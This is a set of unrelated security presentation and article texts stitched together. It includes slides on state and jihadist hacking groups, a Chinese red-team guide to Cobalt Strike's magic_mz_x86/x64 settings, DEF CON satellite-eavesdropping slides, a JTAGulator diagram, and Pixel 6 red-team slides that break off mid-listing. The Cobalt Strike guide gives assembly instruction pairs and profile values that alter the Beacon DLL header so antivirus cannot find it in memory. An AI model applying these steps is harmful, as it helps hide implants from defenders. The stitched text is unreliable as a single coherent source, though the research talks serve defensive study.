a total of 1,197,769 participants. • The range therefore would be from a minimum of 24,000 to a maximum of around 1.2 million. • It is probable that during times of political strife, these numbers rise dramatically higher and move closer to the upper ranges. Locked and Loaded • One of the sites directly linked to the Red Hacker Alliance and operating out of the Green Power Bar is the Friendly Download Site (http://www.xxijj.com). It claims to have 69,951 downloads available, many of which are Trojan horses and attack tools. The Friendly Download Site also has the newest 2005 version of the Gray Pigeon Trojan. This is an updated version of the same Gray Pigeon Trojan that was discussed in Chapter One and used during the 1999 Cyber Conflict with Taiwan. Its design is based on the Glacier Trojan and is an indigenously produced product. • In June of 2005, the National Infrastructure Security Co-ordination Centre (NISCC)108 released a report detailing Trojan e-mail attacks targeting United Kingdom “government and companies.” The briefing noted that the attacks were coming from the “Far-East” and Trojans used in the attack included Gray Pigeon and Nethief.109 Chinese hackers have taken credit for the creation of both of these two Trojan programs. Citizen S0ld13r • The central problem with our initial inquiry and the thinking behind it is that we are viewing the situation from a US paradigm and applying cultural bias. In Chinese society, independence from government direction and control does not carry with it the idea of separation from the state. The PRC government views its citizenry as an integral part of Comprehensive National Power and a vital component to national security. • From a Western perspective, the idea of active espionage against another nation requires government initiative, involvement, and direction. It is hard for us to conceive of links being formed between state authorities and quasi- freelance intelligence operations, simply because it does not fit our preconceived notion of the proper relationship. When in fact, there is a very good chance this is exactly the type of association that is taking place between the central government and the Red Hacker Alliance. It’s all about the Mao’s (yuan) baby • An interview with a Chinese hacker from Beijing provides an excellent example of this “nontraditional” relationship: • “One Beijing hacker says two Chinese officials approached him a couple of years ago requesting „help in obtaining classified information‟ from foreign governments. He says he refused the „assignment,‟ but admits he perused a top US general's personal documents once while scanning for weaknesses in Pentagon information systems „for fun.‟ The hacker, who requested anonymity to avoid detection, acknowledges that Chinese companies now hire people like him to conduct industrial espionage. „It used to be that hackers wouldn't do that because we all had a sense of social responsibility,‟ says the well-groomed thirty something, „but now people do anything for money.‟”158 From Russia with …. • An interesting point to keep in mind is that Moscow does the arms business with over 70 countries, including China, Iran, and Venezuela, and in 2006 exported $6 billion worth of arms. Russian intelligence services have a history of employing hackers against the United States. In 1985 the KGB hired Markus Hess, an East German hacker, to attack U.S. defense agencies in the infamous case of the “Cuckoo's Egg”. • The following is an estimate of Russia's cyber capabilities. • Russia's 5th-Dimension Cyber Army: • Military Budget: $40 Billion USD • Global Rating in Cyber Capabilities: Tied at Number 4 • Cyber Warfare Budget: $127 Million USD Offensive Cyber Capabilities: 4.1 (1 = Low, 3 = Moderate and 5 = Significant) As of May 27, 2008 From Russia with …(cont.) Cyber Weapons Arsenal in Order of Threat: Large, advanced BotNet for DDoS and espionage Electromagnetic pulse weapons (non-nuclear) Compromised counterfeit computer software Advanced dynamic exploitation capabilities Wireless data communications jammers Cyber Logic Bombs Computer viruses and worms Cyber data collection exploits Computer and networks reconnaissance tools Embedded Trojan time bombs (suspected) • Cyber Weapons Capabilities Rating: Advanced • Cyber force Size: 7,300 + • Reserves and Militia: None • Broadband Connections: 23.8 Million + As of May 27, 2008 Russia VS. Estonia (or just getting warmed up) • Cyberattacks on Estonia (also known as the Estonian Cyberwar) refers to a series of cyber attacks that began April 27, 2007 and swamped websites of Estonian organizations, including Estonian parliament, banks, ministries, newspapers and broadcasters, amid the country's row with Russia about relocation of a Soviet-era memorial to fallen soldiers, as well as war graves in Tallinn.[1] Most of the attacks that had any influence on general public were distributed denial of service type attacks ranging from single individuals using various low-tech methods like ping floods to expensive rentals of botnets usually used for spam distribution. Spamming of bigger news portals commentaries and defacements including that of the Estonian Reform Party website also occurred.[2] Russia VS. Georgia (Military precision or an excuse for poor infrastructure?) • The stories are still coming in and still changing or evolving depending if you listen to n3td3v or not. • Meanwhile, Estonia (once the victim of Russian-based hackers) is now hosting Georgia's Ministry of Foreign Affairs website. And "in a historic first, Estonia is sending cyberdefense advisors to Georgia," Network World observes. • And, of course, the strikes aren't just made up of ones and zeros. The Russians are reportedly bombing Georgia's telecommunications infrastructure -- including cell towers. "It's still very difficult to get a call anywhere around the country right now," an NPR reporter says. • When political tensions flared last month between Georgia and its large neighbor to the north, the country was ready to block Internet traffic from Russia, hoping to avoid the denial-of-service attacks that shut down Internet service in Estonia for several days in 2007. Instead, most of the DoS attacks that were directed against Georgia came from an unlikely place: the United States. Russia VS. ???? • The FSB is the internal counter intelligence agency of the Russian Federation and successor to the Soviet KGB. Russia is often overlooked as a significant player in the global software industry. Russia produces 200,000 scientific and technology graduates each year. This is as many as India, which has five times the population. This is hard to believe since their software industry can be traced back to the 1950s. • A study by the World Bank stated that more than one million people are involved in software research and development. Russia has the potential to become one of the largest IT markets in Europe. The Russian hacker attack on Estonia in 2007 rang the alarm bell. Nations around the world can no longer ignore the advanced threat that Russia's cyber warfare capabilities have today and the ones they aspire to have in the near future. • From this information, one can only conclude that Russia has advanced capabilities and the intent and technological capabilities necessary to carry out a cyber attack anywhere in the world at any time. • Kids or KGB The same still holds true don’t mess with Russia Russian Business Network (a new definition to risky business) • Security researchers and anti-spam groups say the St. Petersburg- based RBN caters to the worst of the internet's scammers, renting them servers used for phishing and malware attacks, all the while enjoying the protection of Russian government officials. A report by VeriSign called the business "entirely illegal." Know your enemy (it is ignorance and fear) • ISLAM In Arabic, the word means "surrender" or "submission" to the will of God. Most Westerners think of Islam as one of the three ... • slate.msn.com/id/1008347/ • When the angels said, 'O Mary, ALLAH gives thee glad tidings of a son through a word from HIM; his name shall be the Messiah, Jesus, son of Mary, honoured in this world and in the next, and of those who are granted nearness to God; • 'And he shall speak to the people in the cradle, and when of middle age, and he shall be of the righteous. • She said, 'My Lord, how shall I have a son, when no man has touched me? He said, 'Such is the way of ALLAH. HE creates what HE pleases. When HE decrees a thing HE says to it 'Be,' and it is;" -- Qur'an, Surah 3:38-48 When Jihad becomes J1H4D • Jihad what does the word mean? “Literally 'struggle,' it includes both the inward spiritual struggle against human desires and the outward struggle against injustice, oppression and the rejection of the truth by non-believers, which leads to 'holy war' only when sanctioned by the legitimate political authority. • www.c-r.org/our-work/accord/sudan/glossary.php” • “The funny thing is that so many of the real Al Qaeda websites are hosted in the US,” he says. “One simple reason is it’s one of the cheaper places to host. They circulate via mailing lists and these sort of out of bounds methods where they can be found. They’re all in Arabic. Not many westerners know Arabic, and everything’s fine until some journalist figures out where the website is.” • Posted on Monday, January 21, 2008 “Originally introduced by the Global Islamic Media Front (GIMF), the second version of the Mujahideen Secrets encryption tool was released online approximately two days ago, on behalf of the Al-Ekhlaas Islamic Network. “http://ddanchev.blogspot.com/2008/01/mujahideen-secrets-2-encryption-tool.html You can’t google for new recruits. (Or can you?) • “Those who think that we can stop online terrorism by removal of websites are either naive or ignorant about cyberspace and its limitations for interference,” says Gabriel Weimann, professor of communication at Haifa University in Israel and author of Terrorism on the Internet (http://bookstore.usip.org/books/BookDetail.aspx?productID=134280). • “As a short answer, there is a need for strategy and not tactics, there is a need for a multimeasured approach, and not just “Let's kill those websites.’ They reemerge within days or even hours.” • The teams, and the lone gunmen cyber jihadists in this post are : Osama Bin Laden's Hacking Crew, Ansar AL-Jihad Hackers Team, HaCKErS aLAnSaR, The Designer - Islamic HaCKEr and Alansar Fantom. None of these are known to have any kind of direct relationships with terrorist groups, therefore they should be considered as terrorist sympathizers. Dealing drugs not for profit but for “The Prophet” • The U.S. General Accounting Office reports that financing for Al-Qaeda operations come from many sources including subscription/membership fees, false contracts, counterfeiting/forging currency, robbing state banks/bank employee and kidnapping. The Treasury Department has even linked three Yemeni honey companies to Osama bin Laden's terrorism- financing operation. • Western intelligence agencies believe Khan has become the kingpin of a heroin-trafficking enterprise that is a principal source of funding for the Taliban and al-Qaeda terrorists. A Western law-enforcement official in Kabul who is tracking Khan says agents in Pakistan and Afghanistan, after a tip-off in May, turned up evidence that Khan is employing a fleet of cargo ships to move Afghan heroin out of the Pakistani port of Karachi. The official says at least three vessels on return trips from the Middle East took arms like plastic explosives and antitank mines, which were secretly unloaded in Karachi and shipped overland to al-Qaeda and Taliban fighters. Terrorize a city been there Terrorize a country done that Terrorize the World Wide Web … • Let's discuss what cyber jihad isn't. Cyber jihad is anything but shutting down the critical infrastructure of a country in question, despite the potential for blockbuster movie scenario here. It's news stories like these, emphasizing on abusing the Internet medium for achieving their objectives in the form of recruitment, research, fund raising, propaganda, training, compared to wanting to shut it down. From Brazil to Romania. (and all the trouble in between) • South America = Community based Hacking • Eastern Europe = A mix between the movies “Hackers” and “Good Fellas” U. S. of OMGWTFBBQ This > Than = WTF!!!! “The authors point to a 2004 Pentagon statement on military doctrine, indicating that the United States might respond to a cyberattack with the military use of nuclear weapons in certain cases. “For example,” the Pentagon National Military Strategy statement says, “cyberattacks on U.S. commercial information systems or attacks against transportation networks may have a greater economic or psychological effect than a relatively small release of a lethal agent.” “ http://www.nytimes.com/2009/04/30/science/30cyber.html USA home of the free (and land of the Hacked.) • Organized Chaos = Chaos • Working for the “Man” a lot different than fighting for fellow man. All the cool kids are doing it! South Korea, Japan, Germany, UK, Israel (yeah I said Israel), ETC… We must not only learn but adapt! • “The smallest detail, taken from an actual incident in war, is more instructive for me, a soldier, than all the Theirs, and Jominis in the world. They speak, no doubt, for the heads of states and armies but they never show me what I wish to know – a battalion, a company, a squad, in action.” -Col. Charles Ardant du Picq • Battle Studies: Ancient and Modern Battle from Russel A. Gugeler, Combat Actions in Korea, US Government Printing Office, 1970 revised edition, p. iii Okay now what can we do? • Without understanding where the opponent's weaknesses are you cannot borrow their strength to use against them. (Cheng Man Ching) • http://jayson-street.tumblr.com/ • http://stratagem-one.com • http://f0rb1dd3n.com • http://www.security-twits.com/ • http://OSVDB.org • http://isc.sans.org • My presentation located here • http://F0rb1dd3n.com/s1s/WP/ Now let’s learn from others • Discussion and Questions???? • Or several minutes of uncomfortable silence it is your choice. • This concludes my presentation Thank You The Links • No order here they are. • http://ddanchev.blogspot.com/2007/10/russian-business-network.html • http://www.defensetech.org/archives/004200.html • http://dsonline.computer.org • http://www.time.com/time/magazine/article/0,9171,1101040809-674777,00.html • http://news.cnet.com/8301-1009_3-10049008-83.html • http://www.thedarkvisitor.com/ • I am sure I missed some though not on purpose. If you do not find a proper source in this list but mentioned in the presentation please contact me and I will correct it. All those other links in no order • http://intelfusion.net/wordpress/?p=432 • http://www.computerworld.com/action/article.do?command=viewArticleBasic&taxonomyName=Storage+Security& articleId=9134010&taxonomyId=153&pageNumber=2 • http://bostonreview.net/BR34.4/morozov.php • http://www.csoonline.com/article/495520/Cyberwar_Is_Offense_the_New_Defense_ • http://www.itar-tass.com/eng/level2.html?NewsID=14070168&PageNum=0 • http://www.google.com/hostednews/afp/article/ALeqM5geMDsdejQoeSn8FQseQHZKeTe50A • www.heritage.org/research/asiaandthepacific/upload/wm_1735.pdf • http://www.nap.edu/nap-cgi/report.cgi?record_id=12651&type=pdfxsum • http://news.bbc.co.uk/2/hi/uk_news/politics/8118729.stm • http://en.wikipedia.org/wiki/Honker_Union • http://blog.security4all.be/ • http://www.nytimes.com/2009/04/28/us/28cyber.html?_r=2 • http://www.nytimes.com/2009/03/29/technology/29spy.html?_r=3&hp • http://www.foxnews.com/story/0,2933,464264,00.html?sPage=fnc/scitech/cybersecurity • http://www.foxnews.com/story/0,2933,448626,00.html?sPage=fnc/scitech/cybersecurity • http://www.foxnews.com/story/0,2933,403161,00.html?sPage=fnc/scitech/cybersecurity • http://www.foxnews.com/story/0,2933,370243,00.html?sPage=fnc/scitech/cybersecurity • http://www.spiegel.de/international/germany/0,1518,606987,00.html • http://threatchaos.com/ • http://www.popsci.com/scitech/article/2009-04/hackers-china-syndrome • http://shanghaiist.com/2009/06/08/how_to_make_money_as_a_hacker.php All those other links (cont.) • http://www.socialsignal.com/blog/rob-cottingham/censorship-isnt-only-problem-with-chinas-new-internet-blocking- software • http://www.nytimes.com/2009/04/30/science/30cyber.html?_r=1 • http://www.thetrumpet.com/?q=5940.4309.0.0 • I LOL’ed http://neteffect.foreignpolicy.com/posts/2009/04/11/writing_the_scariest_article_about_cyberwarfare_in_10_easy_s teps
pdf
C2profile中的magic_mz_x86和magic_mz_x64 0x00 前言 周末写一个在线工具(后面会发布的),看见C2profile中magic_mz_*配置项,于是搜了搜,发现没有 人写关于这个。打算这周写个文档发星球。哪知道周一看twitter,发现有同学抢先一步发了,卷阿,太 卷了!不过我还是要写。他文章中有一些笔误:https://www.redteam.cafe/red-team/shellcode-inject ion/magic_mz_x86-and-magic_mz_x64 这个功能是4.2以后加入的,不是 2.4.3 dec abp应该是dec ebp 都是笔误,无伤大雅,可能一些新手同学会出问题,所以我在这儿先指出来。回归正题,这2个配置有什 么用? 0x01 使用 magic MZ,是PE结构的前2个字节,标志着这是一个PE文件,和图片文件头、压缩文件头一个意思。这 个值是固定的4D 5A。我们使用cobaltstrike的时候,看过我前面文章关于cs payload加载的同学应该知 道,植入体最后都是使用的beacon.dll,这是一个反射dll,默认是以4d 5a 52 45开头的。beacon.dll一 般是不落地的,在内存中,杀毒软件会通过这个头在内存中定位我们的样本,因此我们修改这个头,可 以达到一定的逃逸作用。 首先我们看看官方解释:https://www.cobaltstrike.com/help-malleable-postex 覆盖我们Beacon反射dll的4D 5A 52 45 需要根据架构不同编写指令 不能是随便的数据去覆盖,必须是有效的指令,但是这个指令也不能瞎操作 前2条应该好懂,最后一条是指令,还不能瞎操作,这个怎么弄?举个例子: a+1-1 = a,我们进行了一次加法操作和一次减法操作,但是结果不变。懂了吧。 0x02 实操 这涉及到汇编指令了,我详细写操作,让新手同学,学几条指令也能使用cs这个配置,而不必担心不会 汇编。 我们先下载编译工具nasm,地址:https://www.nasm.us/ 然后编写如下代码,这个是官方给的默认值MZRE: Author: L.N. / Date: 2021-08-24 Produced by AttackTeamFamily No. 1 / 4 - Welcome to www.red-team.cn 使用notepad++打开x86文件: 然后我们把这个值填入magic_mz_x86配置中: 明白了原理,我们实际操作起来。我列出了一些两两一组的指令,记住操作过去,再操作回来就行了。 自己也可以去翻翻指令学习下,自己想一个方法。 bits 32        ;指定32位程序,也就是x86架构 section .text  ;声明代码段 global _start  ;指定入口函数 _start:   ; dec ebp        ;减1 pop edx        ;出栈 push edx       ;入栈 inc ebp        ;加1 set magic_mz_x86 "MZRE"; bits 32       ;指定32位程序,也就是x86架构 section .text ;声明代码段 global _start ;指定入口函数 _start:   ; dec ebp       ;减1 inc ebp       ;加1 inc eax dec eax Author: L.N. / Date: 2021-08-24 Produced by AttackTeamFamily No. 2 / 4 - Welcome to www.red-team.cn 0x03 测试 我们分别编译上面x86和x64的汇编,编译结果如下(使用notepad++的hexeditor插件查看): 上面是结果,很多字符是不可见字符,这个没关系,CS配置文件支持16进制。 最后我们生成stageless的raw格式的代码看看: 但是上线发现x64的不能上线,最后查看报错,是DOS头太长了,我们使用c2lint检测(PS:使用 c2profile前一定要使用c2lint检测)。 not ebx       ;取反 not ebx push edx       ;入栈 pop edx       ;出栈 XCHG eax,ebx   ;交换 XCHG eax,ebx ;各位自己随机组合 bits 64 section .text global _start _start: pop r9 push r9 inc r8 dec r8 not r10 not r10 XCHG eax,ebx XCHG eax,ebx Author: L.N. / Date: 2021-08-24 Produced by AttackTeamFamily No. 3 / 4 - Welcome to www.red-team.cn 最后验证出: x86最大长度是27个字节 x64最大程度是12个字节 最后减少点x64的指令,就能上线成功。 0x04 总结 cs有很多细节需要探究,研究越多,你越发觉CS的强大。除了这2个配置,网上很少人提起,还有其他 配置,例如同样是在cs4.2以后加入的magic_pe。这个下回分解。 Author: L.N. / Date: 2021-08-24 Produced by AttackTeamFamily No. 4 / 4 - Welcome to www.red-team.cn
pdf
1 DEFCON 28 08-082020 DEFCON 28 Whispers Among the Stars Perpetrating (and Preventing) Satellite Eavesdropping Attacks James Pavur, DPhil Student Oxford University, Department of Computer Science Perpetrating (and Preventing) Satellite Eavesdropping Attacks James Pavur, DPhil Student Oxford University, Department of Computer Science 2 DEFCON 28 08-082020 3 DEFCON 28 08-082020 4 DEFCON 28 08-082020 5 DEFCON 28 08-082020 Bio / Contributors • PhD Student @ Oxford University, Systems Security Lab • Title of (blank) thesis_draft.tex file: Securing New Space: On Satellite Cybersecurity • Don’t Work Alone… • Daniel Moser, armasuisse / ETH Zürich • Martin Strohmeier, armasuisse / Oxford University • Vincent Lenders, armasuisse • Ivan Martinovic, Oxford University 6 DEFCON 28 08-082020 Lessons from the Past Ruhr-University Bochum, 2005 Black Hat DC, 2009 Black Hat DC, 2010 7 DEFCON 28 08-082020 3 Domain- Focused Experiments 18 GEO Satellites Coverage Area ~100 million km2 8 DEFCON 28 08-082020 Whose Data? 9 FORTUNE GLOBAL 500 MEMBERS 6 OF 10 LARGEST AIRLINES ~40% MARITIME CARGO MARKET GOVERNMENTAL AGENCIES YOU? 9 DEFCON 28 08-082020 Photo: Three Crew Members Capture Intelsat VI, NASA, 1992, Public Domain 3-Minute SATCOM Crash Course 10 DEFCON 28 08-082020 #BHUSA @BLACKHATEVENTS 11 DEFCON 28 08-082020 #BHUSA @BLACKHATEVENTS 12 DEFCON 28 08-082020 #BHUSA @BLACKHATEVENTS 13 DEFCON 28 08-082020 #BHUSA @BLACKHATEVENTS 14 DEFCON 28 08-082020 #BHUSA @BLACKHATEVENTS 15 DEFCON 28 08-082020 16 DEFCON 28 08-082020 17 DEFCON 28 08-082020 18 DEFCON 28 08-082020 19 DEFCON 28 08-082020 20 DEFCON 28 08-082020 Threat Model 21 DEFCON 28 08-082020 Nation-State Actor Tech Photo: Het grondstation van de NSO, Wutsje, July 2012, Wikimedia Commons, CC BY-SA 3.0 22 DEFCON 28 08-082020 Nation-State Actor Tech Photo: Het grondstation van de NSO, Wutsje, July 2012, Wikimedia Commons, CC BY-SA 3.0 23 DEFCON 28 08-082020 $300 of TV Equipment Selfsat H30D ~$90 (or any satellite dish + LNB) TBS-6983/6903 ~$200-300 (or comparable PCIE tuner, ideally with APSK support) 24 DEFCON 28 08-082020 25 DEFCON 28 08-082020 MPEG-TS + MPE/ULE • Legacy (but still popular) standard • Hacked together combination of protocols built for other purposes • Tools exist for parsing • dvbsnoop, tsduck, TSReader • Primary focus for related work from 2000-2010 26 DEFCON 28 08-082020 GSE (Generic Stream Encapsulation) • More modern, popular among enterprise “VSAT” customers • In practice, networks assume equipment in the $25k-$100k range • Doesn’t work well on our hardware… 27 DEFCON 28 08-082020 65% 11% 24% 40% 24% 36% 50% 15% 35% 40% 10% 50% Packet Recovery Rate Using GSExtract GSExtract • Custom tool to forensically reconstruct bad recordings • Applies simple rules to find IP headers / place fragments • https://doi.ieeecomputersociety.org/10. 1109/SP40000.2020.00056 • Public Release? • https://github.com/ssloxford 28 DEFCON 28 08-082020 29 DEFCON 28 08-082020 Dish + Tuner Card DVB-S dvbsnoop GSExtract *.pcap 30 DEFCON 28 08-082020 General Findings NO DEFAULT ENCRYPTION ISP-ESQUE VANTAGE POINT BREACH THE PERIMETER 31 DEFCON 28 08-082020 Terrestrial 32 DEFCON 28 08-082020 TLS == Privacy? 33 DEFCON 28 08-082020 TLS != Privacy Top SSL Certificate Names (MPEG-TS Case Study) 34 DEFCON 28 08-082020 !TLS != Privacy 35 DEFCON 28 08-082020 IOT & Critical Infrastructure “admin-electro…..” 36 DEFCON 28 08-082020 Maritime 37 DEFCON 28 08-082020 Case Study: 100 Random Ships Art: Rodney’s Fleet Taking in Prizes After the Moonlight Battle, Dominic Serres, Public Domain 38 DEFCON 28 08-082020 ~10% of Vessels Identified 39 DEFCON 28 08-082020 ~10% of Vessels Identified 40 DEFCON 28 08-082020 ~10% of Vessels Identified 41 DEFCON 28 08-082020 ~10% of Vessels Identified 42 DEFCON 28 08-082020 ECDIS • Electronic Chart Display and Information System • Standard Formats Support Cryptographic Verification • But we observed more than 15,000 unsigned charts files in transit • Many also use proprietary formats 43 DEFCON 28 08-082020 Listening Can Be Enough… Publicly Routable FTP Fileshares Chart Update Via Email 44 DEFCON 28 08-082020 General Privacy Captain of Billionaire’s Yacht – MSFT Acct. Guests & Crew / Lunch Orders? 45 DEFCON 28 08-082020 General Privacy POS Traffic From Cruise Ships Crew Passport Data Transmitted to Port Authorities 46 DEFCON 28 08-082020 Aviation 47 DEFCON 28 08-082020 Where Did the Planes Go? Chart: Xavier Olive, Impact of COVID-19 on worldwide aviation, https://traffic- viz.github.io/scenarios/covid19.html 48 DEFCON 28 08-082020 Where Did the Planes Go? Chart: Xavier Olive, Impact of COVID-19 on worldwide aviation, https://traffic- viz.github.io/scenarios/covid19.html Lots of Useless Nonsense (e.g. Instagram Traffic) Almost Entirely Essential Traffic People Who Really Need to Travel 49 DEFCON 28 08-082020 Crossing the “Red Line” ”A primary concern is the sharing of these SATCOM devices between different data domains, which could allow an attacker […] to pivot from a compromised IFE to certain avionics” 50 DEFCON 28 08-082020 The Loneliest EFB Photo: Gulfstream Aerospace G150, Robert Frola, 2011, Flickr, GFDL. 51 DEFCON 28 08-082020 GSM @ 30,000ft 52 DEFCON 28 08-082020 Active Attacks? 53 DEFCON 28 08-082020 “Untraceable” Exfiltration: Requirements ROUTE FROM COMPROMISED HOST TO SATELLITE IP DISH INSIDE FORWARD LINK FOOTPRINT 54 DEFCON 28 08-082020 Compromised PC Attacker’s Server 55 DEFCON 28 08-082020 Compromised PC Attacker’s Server Internet 56 DEFCON 28 08-082020 Compromised PC Attacker’s Server Internet 57 DEFCON 28 08-082020 Compromised PC Attacker’s Server Internet SATCOM Customer 58 DEFCON 28 08-082020 Compromised PC Attacker’s Server Internet SATCOM Customer 59 DEFCON 28 08-082020 Compromised PC Attacker’s Server Internet SATCOM Customer 60 DEFCON 28 08-082020 TCP Session Hijacking • Snoop TCP sequence numbers • Impersonate satellite- terminal conversation endpoint • Possibly bi-directional, but more complex • Network Requirements • IPs must be routable to attacker • No TCP sequence number altering proxies 61 DEFCON 28 08-082020 62 DEFCON 28 08-082020 63 DEFCON 28 08-082020 64 DEFCON 28 08-082020 65 DEFCON 28 08-082020 66 DEFCON 28 08-082020 67 DEFCON 28 08-082020 Ethics and Disclosure Adhered to legal obligations in jurisdiction of data collection • Data stored securely and only while needed • Data was never shared with 3rd parties • Encryption untouched • Won’t “name and shame” Followed responsible disclosure process • Contacted satellite operators in 2019 • Reached out to some of the largest impacted customers Vast majority of companies were receptive • Shared findings directly to CISOs of several large orgs • Unclear if any changes have been made… • Only one organization threatened legal action if we published! 68 DEFCON 28 08-082020 Thanks FBI! 69 DEFCON 28 08-082020 Thanks FBI! 70 DEFCON 28 08-082020 Thanks FBI! 71 DEFCON 28 08-082020 Mitigations and Defenses 72 DEFCON 28 08-082020 Why Does This Happen? • Not just ignorance / incompetence • Space is far and round-trip times (RTT) to GEO are long • TCP especially troublesome because of the 3-way handshake 73 DEFCON 28 08-082020 Your ISP: A Helpful MITM? i atenc atellite o ro nd tation to nternet at odem to or tation • Split TCP handshake locally • One handshake at the modem • One handshake at the ISP groundstation • Problem: Can’t split TCP connections if they’re wrapped in a VPN • Applies to TCP-based VPNs too since underlying connection is wrapped Basic Performance Enhancing Proxy (PEP) 74 DEFCON 28 08-082020 Ok, but what can I do today? Accept VPN performance hit Use TLS / DNSSEC / etc. ISP: Alter sequence numbers in PEP 75 DEFCON 28 08-082020 Longer Term: QPEP 76 DEFCON 28 08-082020 QPEP Design Principles OPEN SOURCE ACCESSIBLE & SIMPLE TARGET INDIVIDUALS (NOT ISPS) Contribute Here: https://github.com/ssloxford/qpep Traditional VPN Encryption (OpenVPN) Encrypted PEP (QPEP) ~25 seconds ~14 seconds 78 DEFCON 28 08-082020 Key Takeaways Satellite Broadband Traffic is Vulnerable to Long-Range Eavesdropping Attacks Satellite Customers Across Domains Leak Sensitive Data Over Satellite Links Performance and Privacy Don’t Need to Trade Off in SATCOMs Design 79 DEFCON 28 08-082020 The “Next Hop” is unknown. Encrypt everything. Questions/Ideas: [email protected] Special thanks to a.i. solutions for offering academic access to FreeFlyer, used in our animations!
pdf
JTAGulator Block Diagram Document rev. 1.0 March 20, 2013 Joe Grand, Grand Idea Studio, Inc. MCU Parallax Propeller EEPROM 24LC512 2 (I2C) Power Switch MIC2025-2YM LDO LD1117S33TR USB 5V 3.3V D/A AD8655 1.2V - 3.3V ~13mV/step Serial-to-USB FT232RL 2 1 (PWM) Host PC USB Mini-B Voltage Level Translator TXS0108EPWR Voltage Level Translator TXS0108EPWR Voltage Level Translator TXS0108EPWR Input Protection Circuitry 24 Target Device 1 Status Indicator WP59EGW
pdf
#BHUSA   @BlackHatEvents Google Reimagined a Phone. It’s Our Job to Red Team & Secure it Xuan Xing Eugene Rodionov Christopher Cole Farzan Karimi #BHUSA   @BlackHatEvents Information Classification: General ● Who We Are ● What’s Our Scope ● How We Help Secure Android & Pixel ● Pixel 6 Attack Surface ● Proof of Concept Deep Dives ○ Titan M2 ○ Android Bootloader ● Concluding Thoughts Agenda Agenda [Everything in this presentation has been fixed] #BHUSA   @BlackHatEvents Who We Are #BHUSA   @BlackHatEvents Information Classification: General Mission We are the eyes of Android Security: Increase Pixel and Android security by attacking key components and features, identifying critical vulnerabilities before adversaries Offensive Security Reviews to verify (break) security assumptions Scale through tool development (e.g. continuous fuzzing) Android Red Team Develop PoCs to demonstrate real-world impact We hack ourselves to make it harder for others! Assess the efficacy of security mitigations #BHUSA   @BlackHatEvents Information Classification: General What’s Our Scope? #BHUSA   @BlackHatEvents Information Classification: General Robust Development Practices Compiler Mitigations New Platform Mitigations Vulnerability Reward Programs Hardware Architecture Reviews Threat Modeling Red Team How Do We Secure Android & Pixel? External Security Reviews You! #BHUSA   @BlackHatEvents Information Classification: General Fuzzing Host-based Fuzzing On-device Fuzzing Static Analysis Dynamic Analysis (Services) Variant Analysis Formal Verification Manual Code Review Web/Mobile Network TitanM Red Team Attack Approaches #BHUSA   @BlackHatEvents Pixel Hardware Journey #BHUSA   @BlackHatEvents Information Classification: General Pixel 1 Pixel as a reference device Pixel 2 Building our own Camera chip Pixel 4 Custom Dedicated Hardware Pixel 6 Security Re-imagined Google Tensor & Titan M2 Pixel 5 Pixel Hardware Journey Pixel 3 Custom Titan Security Chip External Certification (CC MDF) #BHUSA   @BlackHatEvents Information Classification: General GSA Apps Boot Loader Tensor Security Core Titan M2 Vulnerability trends are moving down the stack* Kernel User Mobile Phone Vulnerability Trends * Pyramid represents vulnerability trend direction, not attack surface size #BHUSA   @BlackHatEvents Information Classification: General $2.5m Android FCP Zero Click Vulnerability Payouts #BHUSA   @BlackHatEvents Pixel Attack Surface #BHUSA   @BlackHatEvents Information Classification: General Google Tensor SoC Modem Titan M2 AP Google Tensor Security Core TSC Secure Kernel Baseband firmware Normal World Secure World EL1: Android Bootloader EL1: Android GKI EL0: Android Apps & services S-EL0: Trusty TAs Titan M2 firmware S-EL3: EL3 Monitor S-EL1: Trusty Kernel, LDFW Updated features in Pixel 6 New features in Pixel 6 Attack surface tested and mitigated LEGEND Attack surface covered in this presentation EL0: Trusty TAs EL1: Trusty Kernel EL3: Secure Monitor EL1: Android Bootloader EL1: Android GKI EL0: Android Apps & Services Baseband firmware TSC Secure Kernel Titan M2 firmware Baseband firmware Titan M2 firmware EL1: Android Bootloader Red Teaming Pixel 6 #BHUSA   @BlackHatEvents Titan M2 Code Execution #BHUSA   @BlackHatEvents Information Classification: General Titan M2 Overview Titan M1 vs Titan M2 Discrete security component - element of Pixel 6 with the highest level of security assurances on the device (including resistance to physical attacks) Provides critical security services: hardware-based key storage, Android Verified Boot, Attestation services Based on custom RISC-V architecture Redesigned operating system on Titan M2 Titan M2 Overview Results: 21 security issues has been identified: 1 Critical, 14 Highs, 1 Moderate, 5 NSIs 1) 2021: A Titan M Odyssey, Maxime Rossi Bellom, Damiano Melotti, and Philippe Teuwen #BHUSA   @BlackHatEvents Information Classification: General Titan M2 Attack Surface Directly exposed to the attacker Not directly exposed to the attacker LEGEND #BHUSA   @BlackHatEvents Information Classification: General What makes Titan M2 More Secure? Code section is Read-Only, data and stack Not Executable - Enforced by PMP registers and custom Titan M2 extensions R^X policy Every task is isolated from each other - Each task can read/write only its own stack and globals - Code section is readable to all the tasks - Enforced by PMP registers Isolation ACL implementation for syscalls - Restrict syscall usage on a task-based level enforced by the Titan M2 kernel ACL Every task has an isolated file system on the secure flash - Enforced by the Titan M2 kernel Isolated Filesystem #BHUSA   @BlackHatEvents Information Classification: General Fuzzing Approaches keymaster weaver runtime service avb user mode machine mode Kernel (task & memory management) identity crypto Pros Cons Host-based Fuzzing Emulator-based fuzzing - Takes advantage of existing fuzzing tools for x86 architecture (ASan, libFuzzer, gdb) - Good fuzzing performance - False-positives - Missing coverage Port subset of Titan firmware to x86 32-bit arch Use a full-system emulator to fuzz the target - Comprehensive coverage of the target - Support of all the peripherals - No false-positives - Missing fuzzing code instrumentation (ASan, fuzzing code coverage) - Slow fuzzing performance Covered by the host fuzzer Not covered by the host fuzzer LEGEND Architecture-specific drivers #BHUSA   @BlackHatEvents Information Classification: General Fuzzing Outcomes Fuzzing performance & coverage: - Emulator-based fuzzer: on average 5 test cases per second - Host-based fuzzers: on average ~200 times faster than emulator-based approach - Host-based and emulator-based fuzzers discovered relatively disjoint set of issues In total 3 fuzzers were developed to cover Titan M2 firmware: - libprotobuf-mutator host-based fuzzer - ASN-parsing host-based fuzzer - libprotobuf-mutator emulator-based fuzzer Fuzzing challenges: - Most of the tasks (especially Keymaster and Identity) implement stateful code - Difficult to reach for the fuzzers - Hard to reproduce issues when fuzzing in persistent mode - Obstacles for fuzzing Keymaster due to the crypto code #BHUSA   @BlackHatEvents Information Classification: General OOB Write in Identity Task: Write-What-Where Primitive ● OOB write in globals in eicPresentationPushReaderCert Global variables of Identity task: ... /* Starting address of the overflow */ /*0x0000*/ readerPublicKey; /*0x0044*/ readerPublicKeySize; … /*0x00a0*/ cbor.size; /*0x00a4*/ cbor.bufferSize; 